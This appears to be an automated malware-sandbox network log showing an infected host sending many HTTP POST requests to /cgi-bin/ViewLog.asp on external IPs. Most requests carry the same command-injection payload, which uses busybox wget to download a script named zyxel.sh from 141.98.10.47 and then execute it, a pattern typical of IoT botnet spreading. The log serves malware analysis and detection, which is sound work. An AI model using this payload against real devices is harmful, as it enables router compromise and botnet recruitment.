Dec 26, 2023 21:24:01.296755075 CET	1286	IN	Data Raw: 35 2d 36 2e 34 35 20 39 2e 37 35 2d 33 2e 33 20 32 2e 35 30 34 2d 36 2e 39 34 38 20 33 2e 37 35 2d 31 30 2e 39 34 38 20 33 2e 37 35 68 2d 33 32 2e 34 30 33 63 2d 33 2e 38 20 30 2d 36 2e 38 2d 31 2e 35 2d 39 2d 34 2e 35 2d 32 2e 32 30 33 2d 33 2d Data Ascii: 5-6.45 9.75-3.3 2.504-6.948 3.75-10.948 3.75h-32.403c-3.8 0-6.8-1.5-9-4.5-2.203-3-2.8-6.195-1.797-9.602l20.4-76.5h-75M539.695 225.602L600.297 0h189.598c14.597 0 27.95 3.148 40.05 9.45 12.098 6.3 22.15 14.655 30.15 25.05 8 10.402 13.5 22.305 16
Dec 26, 2023 21:24:01.296828985 CET	946	IN	Data Raw: 39 37 37 63 30 20 33 2e 31 35 37 2e 37 39 32 20 36 2e 31 30 36 20 32 2e 33 37 38 20 38 2e 38 34 38 61 31 37 2e 33 34 37 20 31 37 2e 33 34 37 20 30 20 30 20 30 20 36 2e 34 39 36 20 36 2e 34 37 37 63 32 2e 37 34 32 20 31 2e 35 38 33 20 35 2e 36 38 Data Ascii: 977c0 3.157.792 6.106 2.378 8.848a17.347 17.347 0 0 0 6.496 6.477c2.742 1.583 5.683 2.368 8.816 2.368 3.172 0 6.117-.793 8.832-2.38a17.818 17.818 0 0 0 6.47-6.44c1.593-2.708 2.39-5.665 2.39-8.872 0-3.172-.793-6.117-2.38-8.832a17.838 17.838 0 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.23	47382	85.209.19.62	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:00.667876005 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:01.943640947 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:02.200161934 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 26 Dec 2023 20:24:02 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.23	56312	94.120.51.62	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:00.692683935 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.23	51042	94.44.25.152	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:01.005301952 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:01.429203987 CET	83	IN	HTTP/1.1 404 Not Found Connection: close Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.23	35994	94.46.15.14	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:01.241964102 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:01.497901917 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:24:01 GMT Server: Apache Accept-Ranges: bytes Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.23	54228	95.161.156.117	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:01.254844904 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.23	39076	94.123.77.81	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:01.685892105 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.23	44028	62.56.244.157	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:01.691344976 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:04.887088060 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.23	54678	95.197.95.228	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:01.976541996 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:02.324548960 CET	300	IN	HTTP/1.0 404 Not Found Date: Tue, 26 Dec 2023 20:24:02 GMT Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.23	58414	31.136.123.180	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:02.224262953 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:02.999541044 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:04.503252983 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:07.702790976 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:13.845843077 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:25.876194000 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:49.936762094 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:39.081846952 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.23	58580	31.136.167.158	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:02.228636026 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:02.999541998 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:04.535284996 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:07.702790022 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:13.845829964 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
